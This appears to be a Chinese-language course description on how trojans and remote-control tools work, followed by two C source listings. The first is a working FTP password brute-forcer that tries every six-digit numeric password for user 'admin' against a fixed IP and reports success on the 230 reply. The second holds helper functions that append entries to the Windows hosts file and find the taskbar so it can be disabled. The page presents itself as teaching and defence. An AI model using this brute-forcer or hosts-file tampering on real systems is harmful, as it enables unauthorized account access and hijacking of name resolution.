【课程简介】
C/C++语言是除了汇编之外,最接近底层的计算机语言,目前windows,linux,iOS,Android等主流操作系统都是用C/C++编写的,所以很多病毒、木马也都是用C/C++实现的。课程的目的就是通过C语言揭秘木马和各种远程控制软件的实现原理以及如何防护。
【课程知识点】
1、木马入侵系统的方式;
2、木马入侵到宿主目标后的关键行为分析;
3、可信任端口以及端口扫描技术;
4、远程控制的实现代码实现;
5、恶意代码中使用TCP、UDP协议与防火墙穿越技术;
6、360网络安全防护的实现原理。
#include <stdio.h> #include <string.h> #define CONTENT "open %s\nuser\n%s\n%s\nbye\n" int write_file(const char *ip, const char *user, const char *passwd) { FILE *p = fopen("a.txt", "w"); if (p) { char buf[1024] = { 0 }; sprintf(buf, CONTENT, ip, user, passwd); fputs(buf, p); fclose(p); return 0;//如果成功,返回0 } return -1;//失败,-1 } int main() { int i; for (i = 0; i < 1000000; i++)//假设密码全部由数字组成 { char pass[100] = { 0 }; sprintf(pass, "%06d", i);//格式化为字符串 if (write_file("192.168.101.138", "admin", pass) == 0) { FILE *p = _popen("ftp -n -s:a.txt", "r"); while (!feof(p)) { char buf[1024] = { 0 }; fgets(buf, sizeof(buf), p); if (strncmp(buf, "230", 3) == 0)//根据返回值进行判断 230 代表成功, { printf("pass:%s\n", pass); return 0; } } _pclose(p); } } return 0; }
功能函数:
// lockmask.cpp : 定义应用程序的入口点。 // #include "stdafx.h" #include "lockmask.h" // 功能函数 /* 修改应用程序图标 vs:替换工程名.ico文件 QT:a.找到一张图片.ico,名字改为myapp.ico b.创建文本文档myapp.rc。 内部添加 IDI_ICON1 ICON DISCARDABLE "myapp.ico" c. 在myapp.pro文件最后加上RC_FILE=myapp.rc, 重新生成之后,就修改成功了; */ /* vs2013辩词额不需要依赖库,同时兼容xp的项目 项目--属性--配置属性--常规--平台工具集--windwos xp 项目--属性--配置属性--c/c++ --代码生成--运行库--多线程(/MT). */ #include "stdafx.h" #include <stdio.h> #include <string.h> #include <Windows.h> #include <ShellAPI.h> #pragma warning(disable:4996) void getWinVersion()//得到win版本 { OSVERSIONINFO a; a.dwOSVersionInfoSize = sizeof(a); GetVersionEx(&a); } int setHosts(const char *IP, const char *domain)//修改hosts文件 { char s[100] = { 0 }; GetSystemDirectoryA(s, sizeof(s));//得到windows系统目录 char path[100] = { 0 }; sprintf(path, "%s\\%s", s, "\\drivers\\etc\\hosts"); char content[1024] = { 0 }; sprintf(content, "%s %s", IP, domain); FILE *p = fopen(path, "a");//打开hosts文件 if (p) { fputs(content, p); fclose(p); return 0; } return -1; } HWND getTask()//得到任务栏句柄 { typedef HWND(WINAPI *PROCGETTASKMANWND)(void);//什么一个HWND func();类型的函数指针 PROCGETTASKMANWND GetTaskmanWindow;//定义函数指针变量 HMODULE hUser32 = GetModuleHandleA("user32");//引用user32.dll库 if (!hUser32) return NULL; GetTaskmanWindow = (PROCGETTASKMANWND)GetProcAddress(hUser32, "GetTaskmanWindow"); if (!GetTaskmanWindow) return NULL; HWND h = GetTaskmanWindow(); return GetParent(GetParent(h)); } int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPTSTR lpCmdLine, _In_ int nCmdShow) { HWND h = getTask(); //EnableWindow(h, false);//将任务栏设置为不可用 EnableWindow(h, true);//将任务栏设置为可用 return 0; }
时间: 2024-10-05 20:24:17